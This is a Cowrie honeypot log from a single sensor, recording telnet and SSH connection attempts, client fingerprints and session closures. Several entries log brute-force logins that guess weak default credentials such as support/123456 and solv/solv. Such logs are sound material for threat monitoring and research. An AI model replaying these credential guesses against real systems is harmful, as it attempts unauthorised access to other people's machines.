{"eventid":"cowrie.session.closed","duration":42.570425510406494,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:12.199785Z","src_ip":"206.189.32.23","session":"b558cd01d231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37570,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c643d9f704e","protocol":"telnet","message":"New connection: 162.55.233.176:37570 (159.203.135.109:23) [session: 9c643d9f704e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:12.493203Z"}
{"eventid":"cowrie.session.closed","duration":44.35462808609009,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:13.052799Z","src_ip":"206.189.32.23","session":"d45935c83d54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57272,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3837ebd1984","protocol":"ssh","message":"New connection: 2.57.122.238:57272 (10.17.0.5:22) [session: a3837ebd1984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:13.062311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:13.067248Z","src_ip":"2.57.122.238","session":"a3837ebd1984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:13.166698Z","src_ip":"2.57.122.238","session":"a3837ebd1984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:13.454400Z","src_ip":"2.57.122.238","session":"a3837ebd1984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53954,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb616a047bc","protocol":"telnet","message":"New connection: 188.208.141.113:53954 (10.17.0.5:23) [session: 6cb616a047bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:13.992735Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:14.552221Z","src_ip":"2.57.122.238","session":"a3837ebd1984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.45301580429077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:15.507433Z","src_ip":"162.55.233.176","session":"4a2484634d3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90875315666199,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:15.928800Z","src_ip":"162.55.233.176","session":"09199f6780e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":46224,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd373b95fc46","protocol":"ssh","message":"New connection: 103.170.173.26:46224 (159.203.135.109:22) [session: cd373b95fc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:17.858265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:17.862198Z","src_ip":"103.170.173.26","session":"cd373b95fc46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:18.133382Z","src_ip":"103.170.173.26","session":"cd373b95fc46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.577577352523804,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:18.816628Z","src_ip":"162.55.233.176","session":"0930ddc77144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.321900844573975,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:18.871293Z","src_ip":"206.189.32.23","session":"8a6245ac9780","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"7777777","message":"login attempt [user/7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:19.252631Z","src_ip":"103.170.173.26","session":"cd373b95fc46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53350,"dst_ip":"159.203.135.109","dst_port":23,"session":"399356a74d76","protocol":"telnet","message":"New connection: 162.55.233.176:53350 (159.203.135.109:23) [session: 399356a74d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:20.454150Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:20.526257Z","src_ip":"103.170.173.26","session":"cd373b95fc46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46292,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe4464f7945","protocol":"telnet","message":"New connection: 188.208.141.113:46292 (10.17.0.5:23) [session: abe4464f7945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:23.315225Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33994,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc228f5ad13","protocol":"telnet","message":"New connection: 206.189.32.23:33994 (10.17.0.5:23) [session: ccc228f5ad13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:23.534087Z"}
{"eventid":"cowrie.session.closed","duration":32.41815519332886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:24.295685Z","src_ip":"162.55.233.176","session":"b9ddf66a2061","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49370,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6e1289dbba","protocol":"telnet","message":"New connection: 162.55.233.176:49370 (159.203.135.109:23) [session: ea6e1289dbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:24.331629Z"}
{"eventid":"cowrie.session.closed","duration":34.18695902824402,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:24.869411Z","src_ip":"162.55.233.176","session":"7c33f6c8c912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21918749809265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:25.615919Z","src_ip":"162.55.233.176","session":"47fca49d2b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.086085319519043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:25.633202Z","src_ip":"162.55.233.176","session":"5f1de2a0bfbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.867223501205444,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:26.605169Z","src_ip":"162.55.233.176","session":"b06c0ac4f068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49372,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccfaa0474532","protocol":"telnet","message":"New connection: 162.55.233.176:49372 (159.203.135.109:23) [session: ccfaa0474532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:27.154367Z"}
{"eventid":"cowrie.session.closed","duration":5.520576238632202,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:28.835689Z","src_ip":"188.208.141.113","session":"abe4464f7945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49378,"dst_ip":"159.203.135.109","dst_port":23,"session":"36daf19f5e1a","protocol":"telnet","message":"New connection: 162.55.233.176:49378 (159.203.135.109:23) [session: 36daf19f5e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:30.562147Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54156,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e6ba703bef","protocol":"telnet","message":"New connection: 188.208.141.113:54156 (10.17.0.5:23) [session: a0e6ba703bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:32.870888Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52292,"dst_ip":"159.203.135.109","dst_port":23,"session":"7112e40df726","protocol":"telnet","message":"New connection: 162.55.233.176:52292 (159.203.135.109:23) [session: 7112e40df726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:33.118037Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52296,"dst_ip":"159.203.135.109","dst_port":23,"session":"83c9bde33b31","protocol":"telnet","message":"New connection: 162.55.233.176:52296 (159.203.135.109:23) [session: 83c9bde33b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:33.520542Z"}
{"eventid":"cowrie.session.closed","duration":38.90406394004822,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:33.846094Z","src_ip":"188.208.141.113","session":"5149c08727a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46339416503906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:34.992980Z","src_ip":"162.55.233.176","session":"22d544346479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52306,"dst_ip":"159.203.135.109","dst_port":23,"session":"587d8674841e","protocol":"telnet","message":"New connection: 162.55.233.176:52306 (159.203.135.109:23) [session: 587d8674841e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:35.399734Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52320,"dst_ip":"159.203.135.109","dst_port":23,"session":"d260fd731499","protocol":"telnet","message":"New connection: 162.55.233.176:52320 (159.203.135.109:23) [session: d260fd731499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:36.691402Z"}
{"eventid":"cowrie.session.closed","duration":38.46452569961548,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:41.585521Z","src_ip":"162.55.233.176","session":"3501427b0599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29898715019226,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:42.982124Z","src_ip":"162.55.233.176","session":"daa5e30dc95b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51054,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd67c12d09e","protocol":"telnet","message":"New connection: 188.208.141.113:51054 (10.17.0.5:23) [session: 2dd67c12d09e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:44.037802Z"}
{"eventid":"cowrie.session.closed","duration":32.2885320186615,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:44.781624Z","src_ip":"162.55.233.176","session":"9c643d9f704e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59676,"dst_ip":"159.203.135.109","dst_port":23,"session":"797c4188649a","protocol":"telnet","message":"New connection: 162.55.233.176:59676 (159.203.135.109:23) [session: 797c4188649a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:45.699585Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59682,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e5a538ca10","protocol":"telnet","message":"New connection: 162.55.233.176:59682 (159.203.135.109:23) [session: 43e5a538ca10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:46.807050Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60210,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef5710ab1ee","protocol":"telnet","message":"New connection: 206.189.32.23:60210 (10.17.0.5:23) [session: 3ef5710ab1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:47.073207Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59692,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0657c28fa52","protocol":"telnet","message":"New connection: 162.55.233.176:59692 (159.203.135.109:23) [session: b0657c28fa52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:47.510427Z"}
{"eventid":"cowrie.session.closed","duration":48.765217781066895,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:48.734775Z","src_ip":"188.208.141.113","session":"b101b466566f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59700,"dst_ip":"159.203.135.109","dst_port":23,"session":"bad62821b1c5","protocol":"telnet","message":"New connection: 162.55.233.176:59700 (159.203.135.109:23) [session: bad62821b1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:50.232568Z"}
{"eventid":"cowrie.session.closed","duration":37.614052057266235,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:51.606653Z","src_ip":"188.208.141.113","session":"6cb616a047bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37876,"dst_ip":"10.17.0.5","dst_port":23,"session":"d10499a27184","protocol":"telnet","message":"New connection: 206.189.32.23:37876 (10.17.0.5:23) [session: d10499a27184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:52.346085Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59716,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3321f283607","protocol":"telnet","message":"New connection: 162.55.233.176:59716 (159.203.135.109:23) [session: c3321f283607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:52.727085Z"}
{"eventid":"cowrie.session.closed","duration":33.53125286102295,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:53.985284Z","src_ip":"162.55.233.176","session":"399356a74d76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43820,"dst_ip":"159.203.135.109","dst_port":23,"session":"b75deec4fc5e","protocol":"telnet","message":"New connection: 162.55.233.176:43820 (159.203.135.109:23) [session: b75deec4fc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:55.414014Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":39682,"dst_ip":"159.203.135.109","dst_port":22,"session":"92b8b4e1532f","protocol":"ssh","message":"New connection: 193.46.255.86:39682 (159.203.135.109:22) [session: 92b8b4e1532f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:55.785237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:55.789971Z","src_ip":"193.46.255.86","session":"92b8b4e1532f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:55.931163Z","src_ip":"193.46.255.86","session":"92b8b4e1532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:56.571133Z","src_ip":"193.46.255.86","session":"92b8b4e1532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123456","message":"login attempt [support/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:57.715358Z","src_ip":"193.46.255.86","session":"92b8b4e1532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abc123","message":"login attempt [support/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:58.857348Z","src_ip":"193.46.255.86","session":"92b8b4e1532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abcd123","message":"login attempt [support/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:00.009057Z","src_ip":"193.46.255.86","session":"92b8b4e1532f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55468,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ae5841c0ae","protocol":"telnet","message":"New connection: 188.208.141.113:55468 (10.17.0.5:23) [session: e4ae5841c0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:01.068231Z"}
{"eventid":"cowrie.login.failed","username":"support","password":"abcd1234","message":"login attempt [support/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:01.152485Z","src_ip":"193.46.255.86","session":"92b8b4e1532f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43834,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab5b739549fb","protocol":"telnet","message":"New connection: 162.55.233.176:43834 (159.203.135.109:23) [session: ab5b739549fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:01.513277Z"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:02.317835Z","src_ip":"193.46.255.86","session":"92b8b4e1532f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49744,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ac5c2b4994","protocol":"telnet","message":"New connection: 206.189.32.23:49744 (10.17.0.5:23) [session: f4ac5c2b4994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:02.664952Z"}
{"eventid":"cowrie.session.closed","duration":35.73472356796265,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:02.888993Z","src_ip":"162.55.233.176","session":"ccfaa0474532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38838,"dst_ip":"159.203.135.109","dst_port":23,"session":"803128cc9f47","protocol":"telnet","message":"New connection: 162.55.233.176:38838 (159.203.135.109:23) [session: 803128cc9f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:03.370627Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55474,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1fec31bb307","protocol":"telnet","message":"New connection: 188.208.141.113:55474 (10.17.0.5:23) [session: a1fec31bb307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:03.745446Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38844,"dst_ip":"159.203.135.109","dst_port":23,"session":"13eae8f3657b","protocol":"telnet","message":"New connection: 162.55.233.176:38844 (159.203.135.109:23) [session: 13eae8f3657b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:05.016031Z"}
{"eventid":"cowrie.session.closed","duration":42.632442474365234,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:16:06.166435Z","src_ip":"206.189.32.23","session":"ccc228f5ad13","protocol":"telnet"}
